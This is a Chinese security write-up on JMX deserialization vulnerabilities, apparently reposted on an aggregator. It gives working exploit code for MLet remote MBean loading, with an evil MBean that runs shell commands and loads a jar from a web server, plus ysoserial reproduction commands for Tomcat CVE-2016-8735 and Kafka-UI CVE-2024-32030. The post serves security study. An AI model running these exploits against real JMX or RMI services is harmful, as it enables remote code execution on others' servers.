JMX 反序列化漏洞

前言

前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。

JMX 基础

JMX 前置知识

JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。

可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。

JMXStructure

JMX 的结构一共分为三层:

1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。

  • standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
  • dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。
    2、适配层:MBeanServer,主要是提供对资源的注册和管理。
    3、接入层:Connector,提供远程访问的入口。

JMX 基础代码实践

以下代码实现简单的 JMX demo,文件结构

├── HelloWorld.java  
├── HelloWorldMBean.java  
└── jmxDemo.java

HelloWorldMBean.java

package org.example;public interface HelloWorldMBean {public void sayhello();public int add(int x, int y);public String getName();
}

HelloWorld.java

package org.example;public class HelloWorld implements HelloWorldMBean{private String name = "Drunkbaby";@Overridepublic void sayhello() {System.out.println("hello world" + this.name);}@Overridepublic int add(int x, int y) {return x + y;}@Overridepublic String getName() {return this.name;}
}

jmxDemo.java

package org.example;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jmxDemo {public static void main(String[] args) throws Exception{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();ObjectName mbsName = new ObjectName("test:type=HelloWorld");HelloWorld mbean = new HelloWorld();mBeanServer.registerMBean(mbean, mbsName);// 创建一个 RMI RegistryRegistry registry = LocateRegistry.createRegistry(1099);// 构造 JMXServiceURL,绑定创建的 RMIJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");// 构造JMXConnectorServer,关联 mbserverJMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is ready");System.out.println("press any key to exit.");System.in.read();}
}

其中

  • Probe Level:创建了 HelloWorldMBean 实例 mbean
  • Agent Level:创建了 MBeanServer 实例 mbs
  • Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs

JMX 安全问题

JMX 的安全问题主要发生在以下三处

1、jmx
2、mbean
3、rmi

其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。

Mlet

Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。

攻击过程:

  1. 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
  2. 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
  3. 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
  4. JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
  5. 攻击者最终调用来自恶意 MBean 的方法
  • 下面我们来编写一个漏洞实例。
Evil MBean

文件结构

├── Evil.java
└── EvilMBean.java

EvilMBean.java

package com.drunkbaby.mlet;  public interface EvilMBean {  public String runCommand(String cmd);  
}

Evil.java

package com.drunkbaby.mlet;  import java.io.BufferedReader;  
import java.io.InputStreamReader;  public class Evil implements EvilMBean  
{  public String runCommand(String cmd)  {  try {  Runtime rt = Runtime.getRuntime();  Process proc = rt.exec(cmd);  BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  String stdout_err_data = "";  String s;  while ((s = stdInput.readLine()) != null)  {  stdout_err_data += s+"\n";  }  while ((s = stdError.readLine()) != null)  {  stdout_err_data += s+"\n";  }  proc.waitFor();  return stdout_err_data;  }  catch (Exception e)  {  return e.toString();  }  }  
}
Mlet Server

将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html

<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

整体结构如图

JMXJar.png

Attack Code

ExploitJMXByRemoteMBean.java

package com.drunkbaby.mlet;  import javax.management.MBeanServerConnection;  
import javax.management.ObjectInstance;  
import javax.management.ObjectName;  
import javax.management.remote.JMXConnector;  
import javax.management.remote.JMXConnectorFactory;  
import javax.management.remote.JMXServiceURL;  
import java.net.MalformedURLException;  
import java.util.HashSet;  
import java.util.Iterator;  public class ExploitJMXByRemoteMBean {  public static void main(String[] args) {  try {  
//            connectAndOwn(args[0], args[1], args[2]);  connectAndOwn("localhost","1099","open -a Calculator");  } catch (Exception e) {  e.printStackTrace();  }  }  static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  try {  // step1. 通过rmi创建 jmx连接  JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  System.out.println("URL: " + u + ", connecting");  JMXConnector c = JMXConnectorFactory.connect(u);  System.out.println("Connected: " + c.getConnectionId());  MBeanServerConnection m = c.getMBeanServerConnection();  // step2. 加载特殊MBean:javax.management.loading.MLet  ObjectInstance evil_bean = null;  ObjectInstance evil = null;  try {  evil = m.createMBean("javax.management.loading.MLet", null);  } catch (javax.management.InstanceAlreadyExistsException e) {  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  }  // step3:通过MLet加载远程恶意MBean  System.out.println("Loaded "+evil.getClassName());  Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  { "http://localhost:4141/evil.html"},  new String[] { String.class.getName() } );  HashSet res_set = ((HashSet)res);  Iterator itr = res_set.iterator();  Object nextObject = itr.next();  if (nextObject instanceof Exception)  {  throw ((Exception)nextObject);  }  evil_bean = ((ObjectInstance)nextObject);  // step4: 执行恶意MBean  System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  System.out.println("Calling runCommand with: "+command);  Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  System.out.println("Result: "+result);  } catch (Exception e)  {  e.printStackTrace();  }  }  
}

mletCalc.png

很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

JMX 反序列化漏洞

在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。

  • 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47

环境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735

需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。

漏洞复现
  • 漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

JMXRce.png

漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer

try {  RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  cs.start();  registry.bind("jmxrmi", server);  log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
} catch (AlreadyBoundException | IOException var15) {  log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
}

很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发

同样这里其实也是用 RMI 协议来打的。

利用 Mlet 的方式动态加载 MBean

这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。

而 JMX 调用远程 MBean 方法有以下流程:

1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。
2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。

所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean

package ysoserial.exploit;import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;import ysoserial.payloads.ObjectPayload.Utils;/** Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.* */
public class JMXInvokeMBean {public static void main(String[] args) throws Exception {if ( args.length < 4 ) {System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");System.exit(-1);}JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");JMXConnector jmxConnector = JMXConnectorFactory.connect(url);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});//close the connectionjmxConnector.close();}
}

我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。

当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/

漏洞描述

Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。

影响版本

Kafka-UI <= 0.7.1

环境搭建

Kafka-UI 的 docker

version: '3.8'services:kafka-ui:image: provectuslabs/kafka-ui:v0.7.1container_name: kafka-uienvironment:- DYNAMIC_CONFIG_ENABLED=true- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005ports:- "8080:8080"- "5005:5005"

Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了

version: '2'services:zookeeper:image: zookeeperrestart: alwaysports:- "2181:2181"container_name: zookeeperkafka:image: wurstmeister/kafkarestart: alwaysports:- "9092:9092"- "9094:9094"depends_on:- zookeeperenvironment:KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSLKAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXTcontainer_name: kafka
漏洞复现

使用 ysoserial 直接打,起一个恶意的 JMX 服务。

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

开启了之后,使用 Kafka-UI 去连接该 JMX

Kafka-JMX.png

第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。

服务器接收到恶意的请求

receiveJMX.png

随后第二步直接使用 CC 链打。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

攻击成功

rcesuccess.png

漏洞分析

通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo

最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法

retrieveSync.png

后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。

这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3248393.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

叉车指纹一键启动/熄火车辆,“锁”住叉车安全

在现代工业领域&#xff0c;叉车作为重要的物流搬运工具&#xff0c;其安全性和便捷性一直是人们关注的焦点。为此&#xff0c;我们引入了一项技术——叉车指纹一键启动/熄火系统&#xff0c;真正实现了叉车安全的“锁定”。 这项技术不仅仅是简单的启动或关闭车辆的手段&#…

前端:Vue学习-2

前端&#xff1a;Vue学习-2 1. vue的生命周期2. 工程化开发和脚手架Vue CLI2.1 组件化开发2.2 scoped解决样式冲突2.3 data是一个函数2.4 组件通信2.5 非父子通信- event bus事件&#xff0c;provide&inject 3.v-model原理->实现父子组件双向绑定4. sync 修饰符->实现…

centos7 中tcp连接问题

centos对telnet过来的包没有响应 通过tcpdump查看到的TCP连接的不正常的报文&#xff0c;如下 通过tcpdump查看到的TCP连接的正常的报文 &#xff0c;如下 解决方法&#xff1a; cat /proc/sys/net/ipv4/tcp_tw_recycle cat /proc/sys/net/ipv4/tcp_timestamps 如果两个参数…

【Java算法】前缀和 下

&#x1f525;个人主页&#xff1a; 中草药 &#x1f525;专栏&#xff1a;【算法工作坊】算法实战揭秘 一.连续数组 题目链接&#xff1a;525.连续数组 代码 public int findMaxLength(int[] nums) {HashMap<Integer,Integer> mapnew HashMap<>();map.put(0,-1);…

【系统架构设计师】十三、软件可靠性(基本概念|软件可靠性建模)

目录 一、基本概念 1.1 定义 1.2 软件可靠性的定量描述 1.3 可靠性测试的意义 1.4 广义的软件可靠性测试和狭义的软件可靠性测试 二、软件可靠性建模 2.1 可靠性模型的组成 2.2 可靠性模型的共同假设 2.3 可靠性模型的重要特性 2.4 可靠性建模方法 往期推荐 历年真…

SD-WAN组网搭建5G备份方案实现方式

SD-WAN&#xff08;Software-Defined Wide Area Network&#xff0c;软件定义广域网&#xff09;结合5G作为备份链路是现代企业网络弹性策略的一部分&#xff0c;尤其是在需要高可用性和快速故障切换的场景下。以下是实现SD-WAN组网并集成5G备份方案的一般步骤&#xff1a; 1. …

‍我想我大抵是疯了,我喜欢上了写单元测试

前言 大家好我是聪。相信有不少的小伙伴喜欢写代码&#xff0c;但是对于单元测试这些反而觉得多此一举&#xff0c;想着我都在接口文档测过了&#xff01;还要写什么单元测试&#xff01;写不了一点&#xff01;&#xff01; 由于本人也是一个小小程序猿&#x1f649;&#xf…

Python | 分享8个Excel自动化脚本,一定有你用得上的!

本文将介绍8个常用的Python脚本&#xff0c;帮助你轻松应对Excel的日常操作。那话不多说&#xff0c;开始吧&#xff01; 1. 安装所需的Python库 在开始之前&#xff0c;我们需要安装一些Python库来操作Excel文件。以下是需要安装的库&#xff1a; pandas&#xff1a;用于数据…

Java 实验七:集合的使用

一、实验目的 1、理解Java集合框架的特点、接口与类之间的关系&#xff1b; 2、掌握Java集合框架的List接口&#xff0c;以及List接口的重要实现类LinkedList、ArrayList&#xff1b; 3、掌握Java集合框架的Set、SortedSet接口&#xff0c;以及重要实现类HashSet 与 TreeSet…

活动回顾 | AutoMQ 联合 GreptimeDB 共同探讨新能源汽车数据基础设施

7 月 13 日&#xff0c;AutoMQ 携手 GreptimeDB“新能源汽车数据基础设施” 主题 meetup 在上海圆满落幕。本次论坛多角度探讨如何通过创新的数据管理和存储架构&#xff0c;提升汽车系统的性能、安全性和可靠性&#xff0c;从而驱动行业的持续发展和创新&#xff0c;涵盖 Auto…

C#字符串基本操作

1、代码 //1、创建字符串&#xff08;获取长度&#xff09;string str "Hello, World!";Console.WriteLine($"string:{str},length:{str.Length}");//2、字符串连接string str1 "Hello, ";string str2 "World!";Console.WriteLine…

简易ELK搭建

ELK搭建 1. elasticsearch1.1 下载1.2 ES配置1.3 启动ES1.4 开启权限认证1.5 IK分词器配置&#xff08;非必须&#xff09; 2. kibana2.1 下载2.2 配置2.3 启动kibana 3. logstash3.1 下载3.2 配置3.3 启动logstash 4. springboot推送数据 ELK包括elasticsearch、logstash、kib…

【初阶数据结构】掌握二叉树遍历技巧与信息求解:深入解析四种遍历方法及树的结构与统计分析

初阶数据结构相关知识点可以通过点击以下链接进行学习一起加油&#xff01;时间与空间复杂度的深度剖析深入解析顺序表:探索底层逻辑深入解析单链表:探索底层逻辑深入解析带头双向循环链表:探索底层逻辑深入解析栈:探索底层逻辑深入解析队列:探索底层逻辑深入解析循环队列:探索…

25.dom创建、获取、插入、替换、删除、克隆节点

dom节点 -构成页面的每个组成部分&#xff08;标签 属性 文字 注释&#xff09; 节点(所有的文本内容 包括换行和空格) 元素节点(页面上的每个标签) 属性节点(标签上的属性) 注释节点(所有的注释内容包括注释内的空格换行) 创建节点 创建文本节点&#xff1a; var 变量名docume…

Sui基金会公布第一批RFP资助获得者名单

Sui资助计划已经从RFP申请者中选出了第一批受资助名单&#xff0c;这一举措标志着我们在促进Sui生态创新和增长方面迈出的重要一步。RFP计划旨在解决生态内的特定需求&#xff0c;为与我们战略目标一致的项目提供有针对性的支持。 为非技术者打造兼容Kiosk的启动平台 现存问题…

更新:彩虹云商城系统 自助下单免授权无后门源码(修复完整版)

源码简介&#xff1a; 最新更新彩虹云商城系统&#xff0c;自助下单免授权无后门源码&#xff08;修复完整版&#xff09; 自助下单彩虹云商城系统。这玩意儿不简单&#xff0c;它是高效稳定的电商平台&#xff01;免授权源码版本&#xff0c;灵活方便。源码是用PHP语言写的。…

[CP_AUTOSAR]_分层软件架构_接口之内存模块的交互介绍

目录 1、Memory service modules 特征及差异2、Memory 如何通信交互2.1、Memory通信架构2.2、大块的NV数据管理 3、Memory 软件接口4、内存抽象接口的实现3.1、情况1&#xff1a;只使用了一种NV设备类型3.2、情况2&#xff1a;使用了2种或更多的NV设备 4、结论 在前面 关于接口…

2. KNN分类算法与鸢尾花分类任务

鸢尾花分类任务 1. 鸢尾花分类步骤1.1 分析问题&#xff0c;搞定输入和输出1.2 每个类别各采集50朵花1.3 选择一种算法&#xff0c;完成输入到输出的映射1.4 第四步&#xff1a;部署&#xff0c;集成 2. KNN算法原理2.1 基本概念2.2 核心理念2.3 训练2.4 推理流程 3. 使用 skle…

路由数据获取及封装方法

数据库设计 自联表 定义tree字段 public class LabelValue{public int label { get; set; }public string? value { get; set; }public List<LabelValue> children { get; set; }}获取路由方法 public Response<object> getMenuList() {Response<object>…

spark 事件总线listenerBus

事件总线基本流程 图片来源&#xff1a;https://blog.csdn.net/sinat_26781639/article/details/105012302 LiveListenerBus创建 在sparkContext初始化中创建LiveListenerBus对象。 主要变量有两个 queues&#xff1a;事件队列&#xff0c;里面存放四个队列&#xff0c;每…